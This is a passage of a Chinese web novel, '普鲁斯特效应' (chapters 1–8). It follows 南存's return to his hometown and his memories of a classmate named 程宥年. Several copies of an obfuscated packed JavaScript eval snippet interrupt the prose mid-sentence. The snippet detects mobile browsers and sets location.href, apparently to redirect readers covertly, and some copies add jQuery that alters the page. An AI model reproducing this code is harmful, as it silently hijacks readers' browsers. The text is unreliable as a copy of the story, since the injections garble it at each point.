《普鲁斯特效应》 1. 2025-阵雨 2025年，6月9日，3:07pm，南江，阵雨。 雨水穿过厚重云层坠落而下，砸在落地窗玻璃上，整颗水滴蜿蜒着向下流淌，最终汇入其他支流消失不见。 一场雨将落地窗分割出无数碎片，框住城市灰蒙蒙的画面。 南江多雨，近来又到了雨季，天空阴云连成片久久不散，南存望着窗外，不记得自己已经多久没见过阳光。 “阿存，你真的要回北川去？” 蒋小芸抱着最后一个空纸箱走进卧室，看向南存的目光携了丝担忧。 南存收回视线，抬手拿起置物架上一瓶千纸鹤，走到蒋小芸身边，从她手中接过纸箱，把手中的千纸鹤瓶放进了箱子里。 “嗯，高中毕业后就一直在南江。我想回去看看。” 北川这座城市和南江不大一样，它一年到头也没几场雨，太阳永远无遮无拦地在天上挂着，尤其到了盛夏时节，阳光明媚灼热，蝉鸣聒噪，不绝于耳。 那是南存想念了数年的夏日。 他在北川出生，在北川长大。 18岁那年，他考上南江大学，一个人收拾行囊来到了这个多雨的城市，一晃数年，再没见过北川那样的夏天。 南存时常觉得自己是个矛盾又纠结的人。 明明怀念的夏日时常入梦，明明如今交通便捷，一张高铁票几个小时就能回到那个城市。 可一觉醒来，梦境散去，他始终不愿意，或者说，没有勇气回头。 南存不知道自己这股莫名其妙的胆怯从何而来。 但当又一年夏季到来，他展开画布想描绘新一年的夏天，却对上满目阴雨连绵，始终无法下笔。 不免又想到了少年时期热烈燃烧过的夏日。 于是，他关了自己在南江的工作室，收拾好自己的行李和画具，终于朝北川的方向迈出了第一步。 “那你回去住在哪里？” 蒋小芸心里总有些不安。 她和南存是高中同学，又考上了同一所大学，直到现在也是很好的朋友。 她知道南存和家人没什么来往，她想，如果南存在北川没有住处，或许她可以帮衬一二。 “我外婆留下的房子还在，钥匙在我这里。” 说着，南存见蒋小芸眉目间担忧未散，便安抚地朝她笑了笑： “放心，我还不至于流落街头。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099206|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那，那当然。总之你有事随时给我打电话，我这两天把手上工作忙完就回去找你。” 蒋小芸的状态让南存觉出一丝奇怪，她对于自己这次行程，似乎有些过于担忧了。 “没关系，你忙你的，我又不是需要人照顾的小孩子。” 南存看见桌上静静躺着一张纸片，便随手拿了起来。 纸片在指尖翻转，很快折成了一只小小的纸鹤，舒展翅膀躺在南存掌心。 南存把那只纸鹤递给了蒋小芸。 蒋小芸愣了一下，抬手接过： “给我这个做什么？” “你看起来好像有些紧张。” 南存把桌上余下的书本收进纸箱里，边道： “‘千纸鹤会帮你赶走负面情绪’，高中时你告诉我的。” 蒋小芸缓缓收起手指，将纸鹤拢在手心里。 她轻轻扯了扯唇角，像是一个勉强的笑： “你……还记得啊。” “嗯。” 南存低头收拾着书本，没有注意到蒋小芸的神情。 偶然翻到很久以前收到的一本画集，翻开。 画面浓墨重彩，涂抹出盛大夏天。 2. 2016-阵雨 2016年，6月9日，3:07pm，溱西，阵雨。 老小区的隔音不是很好，雨声和房间外大人说话的声音混在一起，鼓点偶尔重合，像是一段旋律枯燥的交响乐。 南存仰着头看玻璃窗外拍打的雨滴，许久才收回目光。 “你们夫妻俩也真是神人。结婚的时候脑子一热谁劝都不听，孩子跟母鸡下蛋似的说生就生，离婚更是干脆利索一点不拖泥带水。那么我请问你们造下的烂摊子谁来收拾？” 大伯母的声音有些尖，嗓门一大，穿透性更强。 南存缓缓趴在桌上，抬手捂住了耳朵，可还是没法拦住那些字眼，任它们顺着耳朵流进心里。 “自己的孩子能不能自己养？啊？！……草，你这话说得倒是轻巧，又不是没给我给钱？怎么，养孩子有钱就行了是吧？再说你一个月给那一两千块钱是够他吃还是够他穿啊？！” “朋友让我帮忙养条狗我都得考虑几天，这孩子待我这两年了，我是养不下去了，要么你找你二哥四妹他们去养，要真不想要，你就直接送孤儿院得了！反正这孩子有爹妈没爹妈都一个样！” 大伯母说完这些，世界也随之安静下来。 只有窗外小雨淅淅沥沥。 南存的房间是杂物间改造的，空间很挤，只放得下一张小床和一张书桌，其他角落都被家里的杂物纸箱占满。 人站在房间里，连活动都困难。 南存深吸一口气，趴在桌上，捏着橡皮，在纸上把橡皮屑擦出细细长长的一条。 可大约是没控制好力道，橡皮屑总是擦着擦着就断掉。 始终不完整，也不长久。 不知过去多久，南存才从书桌边坐起身。 他把好不容易擦出的长条橡皮屑捏在手里，又一点一点捏断。 最后，把它们拢在手心，丢进了垃圾桶里。 晚饭的时间到了，南存在一片昏暗间穿过房中的杂物堆，抬手拉开了门。 南存今年十六岁。 就像大伯母说的，他像个没爹没妈的孩子，从出生到现在，他见父母的次数一只手也数得过来。 人生的前十四年，他一直住在北川，住在外婆家里。可十四岁那年，外婆去世，他被父亲塞到了大伯这里。 当时父亲说等自己安顿好就来接他，于是南存在杂物间里等啊等，等啊等。 一等就是两年。 推开门，大伯夫妇和他的小妹妹正坐在暖黄的灯光下吃晚餐，画面很温馨。 看见南存从房间里出来，大伯母明显愣了一下： “小存？你，你怎么在家？” 她确认了一下时间： “你今天不是该开学了吗？怎么没去学校？” “开学是明天。”南存低着头，一双眼睛藏在发梢落下的阴影下。 南存在家里就像个透明人，有事没事都待在自己房间里，家里人只有在饭点才会叫他一声，让他出来吃饭。 大伯母记错了日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099207|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，以为南存今天开学，所以早餐午餐都没有叫他。 这孩子居然也就那样一直在屋子里待着没出来，弄得所有人都以为他已经去了学校，平白添了这么多尴尬。 屋子隔音不好，大伯母的嗓门不小。 也不知道刚才那通电话被南存听进去几句。 大伯母干巴巴地笑笑，正想招呼他过来吃饭，可南存走到她面前，开口问： “我想给我爸打个电话，大伯母，手机可以借我用一会儿吗？” “啊，当，当然可以。” 大伯母从围裙兜里掏出手机递给他，南存接过，道了谢，从最近联系人里找见自己父亲的名字，将电话拨了出去。 窗外的雨还在下。 听筒里，男人的声音陌生又熟悉，南存听着，说着，目光始终盯着玻璃窗上蔓延的水痕。 “我十六岁了，不需要人照顾。” “我可以住在外婆那里。” “没关系。” 男人以南存年龄太小为由，不同意他一个人生活。 “两年。” 南存淡淡说了两个字。 电话里的男人愣了一下，有些茫然。 “我在大伯家住了两年，你问过我一句好吗？平时不存在的关心，现在就不要再提了，反正也没有说服力。” 听筒里外一时安静得可怕，静得只有窗外的雨声，和南存轻淡的语气： “放了我吧。” “我想回北川去。” 3. 2025-微风 2025年，6月15日，2:19pm，北川，微风。 轻风将树梢带得微微摇晃，风声和树上夏蝉的吟唱叠在一起，谱出北川夏天的滋味。 “这里，对，放在这里就好，辛苦。” 南存拎着颜料盒，引着搬家公司的师傅进到家中。 外婆曾是个小有名气的画家，算是南存的启蒙老师。 她一个人住在小区一楼带小院的房子里，小院里有棵小小的桃树，以前每到夏天，外婆就会立一个画架在树下，要么自己画，要么教南存画。 时隔多年，南存再回到这里。 因为长年无人打理，小院已经变得乱糟糟。 桃树枯死，杂草丛生，墙面掉了漆一片斑驳，到处都是灰尘和垃圾。 南存花了很长时间，除掉杂草擦净灰尘，一点点把自己的东西摆入这个许久没有回过的家里。 阳光是什么味道呢？ 温暖、干燥，还带着一点点灰尘的生涩。 南存突然想起，很多年前的某一天，自己也是这样，一个人拎着大包小包，从另一个城市回到这个真正属于他的家。 那时候，他好像才16岁。 离开了外婆，他只能寄人篱下，缩在狭小的杂物间里，连学校要求的30块书本费都不敢开口去和大人要。 他知道自己这样的存在在别人眼里是一种困扰，正好他也过够了这样的生活，便做了决定，一个人搬回北川来住。 墙上挂着外婆和自己的合照，床头柜摆着自己和外婆一起画的家。 一切都还是南存记忆中的样子。 打开衣柜，柜子里没什么东西。 南存的衣物不多，上大学时他该扔的扔掉了，该带走的带走了，现在衣柜里只挂着几个不同样式的衣架，还有角落中一个塑料收纳箱。 南存打开自己的行李箱，把自己的衣服一件件整理着挂进衣柜里。 期间蒋小芸来了电话，女生一开口就问： “阿存，你到家了？” “嗯。”南存把电话开了免提放在一边，边整理衣服边回答。 “家里没什么东西吧……呃，我的意思是，上次我看新闻，说一个人搬了家，老房子一直空着，结果有天突发奇想回去一看，发现屋子里住着个陌生人。” 蒋小芸有点语无伦次： “你知道现在治安不好嘛，尤其这种老小区，被撬锁啊遭扒手啊被外人鸠占鹊巢都是常有的事，你……你当心点，如果发现眼生的东西千万要告诉我，我来帮你分析！” 从南存说要回北川开始，蒋小芸就是这副紧张兮兮的姿态。 南存实在不知道她在紧张什么，更不知道自己一个二十五岁的成年男性，回趟家而已，到底有什么好让朋友担心。 “我家里能有什么东西？回来的时候院子里的树都枯了，杂草快要没过膝盖，放心吧，不会有人想偷，更不会有人想住。” “哦哦，那……那就好，总之有什么不对劲的地方一定要联系我啊！我今天把手里的事情忙完，明天就回北川。唉，让你多等我一天你也不乐意，咱俩一起回去多好？” “没办法，很早就预约了搬家公司，时间不好协调。” “好吧……” 蒋小芸还想说什么，但身边似乎有人唤她，她扬声应了一句，匆匆忙忙道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099208|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我这还有点事，你先忙吧，千万记得我说的话啊！” “嗯，知道了。” 南存轻声应了一句，就听电话里传来一道电话挂断后的嘟声。 南存关了手机，挂好衣服，正想关上衣柜，下一秒，余光却瞥见衣柜角落里那只塑料收纳箱。 南存不记得自己离开时有留什么东西在家里。 毕竟他其实也没有什么值得留存的东西。 略一犹豫，他抬手将那只收纳箱拎出来。 意料之中，箱子轻飘飘的，南存原本以为里面没有东西，可打开盒盖，他发现里面还静静地躺着一套校服。 他高二那年从溱西六中转到北川三中，这套校服便是北川三中的样式。 南存拎起那件校服外套，原本只想看一眼就把它叠一叠保持原来的状态就这样存放下去。 可在动作带起的空气流动中，他闻到了一股很淡很淡的香味。 衣服在密闭的小空间内存放了这么多年，上面的味道也一直没散。 浅浅的薄荷香味，带着一点点青柠的酸涩感。 衣服上有香味是再正常不过的事，可能是洗衣液或者留香珠的残留，根本不值得注意。 可不知为何，南存呼吸一滞。 他指尖轻颤，迟疑片刻，鬼使神差地拎着那件校服外套，将鼻尖凑近，埋在柔软的布料中，很轻很缓地嗅闻一下。 香味变得更加真切，争先恐后地涌进他的鼻腔。 阳光是什么味道呢？ 温暖、干燥，还带着一点点灰尘的生涩。 多加一点点薄荷、青柠。 末尾，再存一丝中药苦涩的旋律。 4. 2016-微风 2016年，7月1日，2:19pm，北川，微风。 南存喜欢闻阳光的味道。 夏天，阳光从很远的地方出发，穿过宇宙，穿过大气层，穿过树梢，奔向世界的纷纷扰扰。 好像万物都被阳光洗过了一遍，烧灼着发出了自己的气味。 北川三中。 南存手里开着手机导航，顺着人行道的树荫慢悠悠地朝前走着。 手机是好几年前的款式，虽然有点卡，却也不影响使用。 这是父亲从溱西把他接回来时塞给他的，和它一起被塞进手里的还有皱巴巴的一千块钱。 父亲去溱西帮他办了转学手续、收拾了行李，带他坐了一晚上硬座，从溱西到北川。 又帮他把行李搬进家门，之后给他塞了东西，随口交代了两句，便匆匆忙忙地走了。 南存一直看着他，直到他消失在自己的视线里。 在这期间，他没有得到哪怕一个回首，或挥手。 回想起来，那一晚充满吵闹和烟熏味的硬座，竟是十六年来南存与父亲靠得最近、相处最长的一段时间。 蝉鸣聒噪，在头顶拖着长长的调子。 南存还要上学，从溱西六中到北川三中的转学手续，父亲帮他办了一半，余下的还要他自己来。 虽然从小在北川长大，但南存并不知道三中具体在哪，好在手机导航很方便，他一路走着看着，顺利进了三中的大门。 暑假期间，校园里很安静，只有零星几个学生在篮球场打篮球。 篮球砸在地上，发出“砰砰”的闷响。 南存听着蝉鸣和拍球声，找到了教务处。 教务处学籍管理部暑假期间也有人值班，南存顺利办好走读手续，将学籍卡握在了手里。 “高二八月十八号开学，到时候直接去高二七班找班主任报道就好。班主任是李铭华，李老师，她的手机号我写在你申请表背面了，回去之后可以加她微信先联系着。” 值班老师办好学生卡学生证和名牌，把这些小物件连同两套新校服一起递给了南存。 怀里的东西太多，南存连手机都拿不太稳。 今天很热，从开着冷风空调的办公室出来，南存鼻尖很快出了一层细细的汗珠。 篮球场的笑闹声越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099209|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越近，南存沿着那条小路走向学校大门，正低头艰难地重开导航，却听见不远处传来一阵惊呼。 而还未等南存对此做出反应，先有什么重物砸上了他的肩膀。 那东西力道很大，南存怀里又抱着东西，这么一来，他的各种资料和校服包装袋撒了一地，人也踉跄两步，跌坐到了地上。 手机脱手，砸上地面，还翻了几个滚。 南存皱皱眉，伸手捡起手机，检查了机身没什么太大的破损、还可以正常使用，才擦擦屏幕上的灰尘。 “哎，同学，对不起啊！” 旁侧穿进来一道声音，是很顺耳的少年音色。 起先，南存并不觉得这话是在朝着自己说。 直到一道阴影落在他的身上。 夏日轻风拂过，摇摆着树上枝叶，卷过少年的发丝和衣角。 南存闻到一丝很好闻的香味。 薄荷、青柠，还有一点点中药的苦涩味道。 后知后觉抬起头，见什么人正在身边逆光站着。 阳光有些晃眼。 盛夏的蝉鸣声里，那一眼，南存没能看清他的脸。 5. 2025-多云 2025年，6月16日，8:23am，北川，多云。 南存从梦中惊醒。 房间的窗帘虚虚掩着，将投进来的天光过滤成暗暗的橙色。 屋里很安静，除了南存自己的呼吸声，就只有床头闹钟秒针走动时轻微的声响。 他好像，做了一个梦。 梦里，有他校服上陌生又熟悉的香味，还有一个看不清模样的少年。 那是什么时候的事？ 大概，是九年前了吧。 九年的时间足够抹去很多东西，包括校园里偶然遇见的一面。 南存不知道梦中那股隐隐约约的熟悉感从何而来。 回忆一番，他确定自己不认识类似声线身形的男生。 无论以前还是现在。 南存不是个喜欢交际的人，比起交朋友，他更喜欢一个人安安静静地待着。 真正称得上“亲密”的好友，从以前到现在，掰着手指头数数，也就那么一个蒋小芸。 当时南存作为一个转学生，和班上同学玩不到一起，也没什么人搭理他。蒋小芸是他第一任同桌，她主动和他说话，给他借习题册，还教他叠千纸鹤。 蒋小芸帮过南存很多，南存很感谢她，因此格外珍视和她的友情。 说曹操曹操到，南存正盯着天花板出神，摆在床头柜的手机突然发出了声响。 是蒋小芸的电话。 “喂？阿存，我到家啦，下午有空吗？能不能和我去趟超市？我要大采购，一个人拎不下东西。” 南存撑着身子坐起来，抬手抓了抓头发： “这么快？当然。几点钟，我去接你。” 蒋小芸的执行力强得吓人，昨天还在南江加班，今天一早人就已经到了北川。 “我中午得和我爸爸妈妈爷爷奶奶吃顿饭，嗯……下午四五点的样子好吗？” “好。” 南存自己在家随便弄了点东西吃，傍晚时开车去了约定的地点，接蒋小芸一起去了超市。 蒋小芸坐在副驾，拉好安全带，期间瞥了南存好几眼，欲言又止许久才问： “阿存，你家一切正常吗？没有什么奇怪的地方吧？” 南存没忍住轻笑一声：“你最近是法制栏目看多了？” “哎呀，你别管，有没有嘛。” “没有。” “哦……那就好……”蒋小芸点点头，又补充一句： “我只是担心你的人身安全。” “好，那谢谢你。”南存随口应了。 傍晚，超市人不多，南存推着购物车陪着蒋小芸一路选购，看她往车筐里一包接一包地丢着零食。 南存对零食没有兴趣，生活用品也不缺，原本觉得自己这趟应该没什么可买，但走到日化货架，他却顿住了脚步。 导购小姐姐见状，忙为他介绍： “帅哥，看看洗衣液吗？这个牌子现在做活动，买正装送一袋留香珠哦。” 南存的目光落在包装角落绘制的那颗柠檬上，停顿半秒，他道： “可以试一下香味吗？” “当然。”导购拿了一小瓶试用装，打开盖子给南存闻闻。 扑鼻而来的是一股浓郁的青柠香精的味道，有些冲鼻，南存没忍住轻轻皱了皱眉。 导购观察到他的神情，问：“不喜欢这个味道吗？还有别的香味，要试试吗？” 南存轻轻摇摇头，顿了顿，又问： “有更淡的青柠味吗？青柠加薄荷的淡香味，洗衣液，或者留香珠，都可以。” 导购想了想，拿了几款产品，挨个给南存闻闻。 却都不是南存昨日在校服上闻过的香味。 时间过去太久，南存早已忘记当年自己常用的是哪款洗衣液，现在这样毫无目的地找，无异于大海捞针。 试了几款，南存随便挑了一款，放进了购物车里。 正好蒋小芸拎着两提卫生纸走了过来，见南存在挑洗衣液，随口问： “在买洗衣液？这款好用吗，好用我也买一瓶。” “不知道。”南存诚实答。 蒋小芸笑了：“那你挑那么认真？我以为你都用过呢。” “没有。”南存想了想，实话实说： “昨天收拾衣柜，发现一件旧衣服上面的味道很好闻，刚才走到这，就想找找同款。” 蒋小芸愣了一下。 她看看南存，又看看静静躺在购物车里的洗衣液： “那……是这款？” “不是。”南存摇了摇头。 “哦……”蒋小芸这时候才想起来把手里的卫生纸放进购物车： “那等你找见同款记得给我推个链接，留香这么持久，一定是好东西……咱们快走吧，我还有好多东西没买呢。” 陪蒋小芸逛了超市，又一起去吃了晚餐，等把人送回家，南存自己也回到家中时，时间已经很晚了。 六月中，北川已经提前进入“酷暑”，就算南存出门时已是傍晚，等回到家里，也不免是一身黏糊糊的薄汗。 他一回家，先进浴室冲了澡，之后把一身衣物丢进洗衣机里，想了想，还是打开了今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099210|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天新买的那款洗衣液，把它倒进了洗衣机中。 洗衣机转了四十分钟，待舱门打开，浓郁的青柠味绽开，填满整间浴室。 南存把衣服挂起来晾好，离开时，却没忍住拎起一片衣角，自己凑近，轻轻嗅了嗅。 湿漉漉的水汽夹着青柠香精的味道，虽然比起直接闻洗衣液本身要清淡不少，可还是与昨天无意嗅到的香气毫不相干。 南存放下那片衣角。 一点点香味也值得自己纠结这么久，真是疯了。 南存摇摇头，关了浴室的灯，回到卧室。 在这段短短的路程中，他原本已经决心再不纠结这件事，可等目光落到旁侧的衣柜门，片刻，他还是鬼使神差地坐起了身，打开柜门，从收纳箱里拿出了那件校服外套。 嗅闻衣服上的味道，这种行为，怎么看都有一点点微妙。 可，反正是在自己家里，没人会看到。 南存埋在衣料里，仔细嗅闻着。 和日化用品浓郁的香精味不同，校服上的香味很自然，像是刚刚在阳光下舒展的薄荷叶，像一切两半沾满露水的青柠。 难道是香水味？ 可无论以前还是现在，南存都没有用香水的习惯。 他垂下眼，看着手中那件白色打底、藏青色条纹点缀的校服，胸口处还绣着当年北川三中的校徽。 蓦地意识到，原来，他转来北川三中，已经是九年前的事了。 南存用指腹揉着校服柔软的布料，半晌，他轻轻舒了一口气，把校服在腿上展开，打算将它叠一叠，好好放回原处。 也不知这两日为何对着一件旧校服生出这么多纷杂的思绪。 南存将它们一概归为年纪大了多愁善感。 南存低头整理着校服外套，但拎起校服底部金属拉链时，画面一闪，南存突然瞥见校服内侧有个什么东西。 他掀开衣摆，才发现那是一个小小的标签。 很多校服都会有这样的设计，在外套内部多加一小片标签，给学生做记号用。 毕竟校服都长一个样子，没点辨识度，很容易被拿错。 因此南存没太在意，想来，标签上除了自己的名字，也不会有别的东西。 可等他抬手翻到标签正面，目光落到其上字迹，却是一顿。 白色的标签上用黑笔工整地写着三个字。 [程宥年] 校服沾着的味道很好闻。 标签上的字迹很漂亮。 写着的名字也很好听。 可是原来，它们都不属于南存。 6. 2016-多云 2016年，8月18日，8:23am，北川，多云。 暑假匆匆结束，气温却完全没有降低的意思。 阳光灼烧着万物，树上的蝉都叫得半死不活。 南存穿着新校服，背着书包，安安静静站在办公室角落。 头顶的空调太过老旧，运转时带着细微的杂音，冷风落在人身上，将那一点点薄汗吹得冰冰凉凉。 “久等了同学。” 班主任李铭华放下手里的资料，走来轻轻拍了拍南存的肩膀： “欢迎来到北川三中，走吧，我带你去教室。” 班主任办公室离教室不算近，一路上，南存跟在李铭华身后，听她给自己简单讲了讲教学楼内的各种设施： “厕所在西边，东边是水房和杂物间，还有一间自习室。咱们学校规定，午休时间在楼内的学生必须要待在教室里午睡，如果想进楼但又不想回教室睡觉，你可以自己去自习室坐着。还有，咱学校对携带手机没什么规定，但上课时间不准使用，不然我照样没收。” 南存垂眼听着，时不时应答一声。 很快，他听见李铭华说了句“到了”。 抬眼看看，面前的教室门牌上用黑体字标注着“高二（7）班”。 “安静一下。” 刚才面对南存还算温柔和气的李铭华，一进教室就板起脸，拿起了班主任的款儿： “都高二了还这么毛毛躁躁，像什么样子？刚才的预备铃是没听见吗？都给我坐好！” 南存在门口站着，注意到教室里的同学们向他投来了好奇的目光。 “这学期班里来了一位新同学，来，南存，跟大家介绍一下你自己。” 高中生的自我介绍简单乏味，南存很快在同学们公事公办的掌声中下了台，去到最后一排的空位坐下。 和他坐在一起的是一个留着短发的女生，她大约是个自来熟的开朗性子，一见南存就笑着和他说： “南存，你的名字真好听，也真特别。我叫蒋小芸，以后咱就是同桌了，有什么问题，你问我就成！” 南存放下书包，短暂地和蒋小芸的笑眼对视一瞬，而后点了点头，轻声道了句： “谢谢。” 开学报道第一天，学校没有安排课程，今日只是发书打扫之类的活动。 李铭华在教室里简单开了个班会，安排了今日大扫除就离开了。 南存整理着桌上的新课本，低头挨个往扉页写名字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099211|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 班主任走了，同学们像被放出山林的猴子，再次吵嚷起来。 南存待在一片聒噪间，游离于世界之外，安静得像一幅画。 直到什么人靠近了，笑着唤了声“小芸”。 “你们班怎么安排？下午我要打会儿球，晚点回去，你顺道儿跟我爸说一声呗？” 贴近的声音清晰而真实，南存下意识抬眸看了一眼。 目光只到半路，他看见高挑的少年穿着白色短袖校服，显得干净又利落。 视线停顿片刻，默默收回。 同时，少年也看见了他： “哎，是你啊！” 蒋小芸看看南存，有点意外： “你认识他，这么巧？这是我们班新同学，今天才转来的。” “暑假我在学校打球，球飞出去不小心砸到他了。他当时走得好干脆，我都没来得及好好道歉。” 南存在新书扉页写下自己的名字，边答： “没事。” “你的名字真好听。” 那人却不知怎么看清了他的字迹，顿了顿，声音染上些许笑意： “你好啊南存，我叫程宥年。 “路程的程，宽宥的宥，年年岁岁的年。” 7. 2025-阴 2025年，6月17日，2:07pm，北川，阴。 南存靠在躺椅里，腿上静静地摊着一个速写本。 他手里夹着一根木头铅笔，却没有下笔。 而是抬眸望着窗外浅灰色的天光，思绪似乎也随风飘到了云层之上。 记忆里，北川的夏季永远是晴朗的、滚烫的。 可，也不知是不是自己的问题。 他从南江这个阴雨连绵的城市赶来，除了自己和行李，居然还捎带了漫天沉重的阴云。 目光从灰白的天空缓缓下移。 米白色的速写本上，浅灰色的笔迹勾勒出一个剪影。 是少年穿着短袖校服、干净清瘦的姿态。 程宥年。 南存不知为什么总是想起这个名字。 就像他不知道，为什么另一个人的校服会出现在自己家里。 隐隐约约想起，程宥年似乎和蒋小芸相识。 怔坐片刻，南存把速写本放到一边，从口袋里摸出手机，拨通了蒋小芸的电话。 “喂？怎么啦阿存？” “没什么，就是……” 有那么一瞬间，南存突然有些茫然。 他不知道该如何开口。 短暂的迟疑被蒋小芸察觉，蒋小芸轻笑一声： “怎么啦？跟我还吞吞吐吐的。” 蒋小芸的轻松多少给了南存一点点安心。 于是，他垂了垂眼，问： “你，认识一个叫程宥年的人吗？” 这句话说完，电话内外顿时染上同样的寂静。 好像过了许久，又好像只隔了短短几次吐息。 蒋小芸再次开口，语气似乎和刚才别无二致： “怎，怎么突然问这个了？遇见什么人了吗？” “没，记得昨天我和你说过的那件旧校服吗？” “嗯？” “上面写着程宥年的名字。” “……” “我隐约记得他好像是你的朋友？但我不清楚他的校服为什么会出现在我家里。” “……哦，这样啊。你忘了吗，程宥年是我邻居啦，发小，从小一起长大的。” 蒋小芸的语气一贯带着笑意，但不知是不是南存的错觉，他总觉得蒋小芸有点紧绷： “可能是我哪次借他校服穿，结果跟你的弄混了吧，居然阴差阳错混了这么多年……没事，你介意的话有空把它带给我就行，我去还给他。” “没关系，不是大事。” 南存微微用力，铅笔尾部坚硬的边角抵在纸张之上，留下一个小小的凹痕。 又随着南存的动作一路下滑，在纸页上留下一道歪歪扭扭的印记。 就像这张白纸，南存的心里似乎也有某一块轻微凹陷。 他下意识想问更多有关这个名字的事，想问自己连着两天的、有关往事的梦境，可临了又不知该如何开口。 他挂断了电话。 少年的剪影还停在白纸上，南存与它对视片刻，合上话本，起身换衣服走出了家门。 他许久没有走过北川的街道了。 家在北川的老街区，附近的环境很安逸，老旧楼房连成片，道路两侧的树高大到像是要将枝叶舒展去天际。 路边的苍蝇馆子从早到晚都热闹，三轮车小摊冒着不健康但很香的油烟味。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099212|163763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大爷摇着蒲扇围在树下下棋，婆婆坐在马扎上编茉莉花手环，脚边的纸牌写着两块钱一串。 南存行在人间烟火味间，拐过路口，看见一家很热闹的餐馆，桌椅从店内摆到了店外。 明明不是饭点，这家店的生意还那么好，一眼望去，连一张空桌都难以找到。 南存抬眼看看这家店的招牌。 [老街川菜] 从南存很小很小的时候，这家店就开在这里。 过去这么多年，居然还是记忆中的模样。 南存中午没吃饭，现在闻到饭菜的香味，才觉出点饿来。 他点了一碗招牌豌杂面。 面是老板亲自上的。 老板是个留着光头的中年男人，面相有点凶，但性格其实很温和。 “来喽，豌杂面，客官慢点吃哈。” “谢谢。”南存轻声道谢，抬眼对上老板的视线。 老板看见他，却似有一瞬的怔愣。 不过那也只是一瞬间的情绪，很快，那边有客人喊结账。 老板应了一声，走出两步，又回头看了南存一眼，才匆匆离开。 南存看看他，片刻，收回视线，垂眸望着碗里打着漂的红油。 辛辣的味道和街上的油烟味混在一起。 身周的客人说笑着，到处都喧闹。 偶尔路边行过一辆自行车，拨动的车铃清脆，穿透一切，落在耳里。 “新鲜出炉的粑粑——” 蒸笼掀开，浓郁的米香味随风而来。 略一恍神，南存的筷子脱了手。 筷尖挑起几滴红油落在桌面，反出的颜色，是灰白的树影和天光。 8. 2016-阴 2016年，8月25日，2:07pm，北川，阴。 老街区一年到头都是一个样子，温馨，安逸。 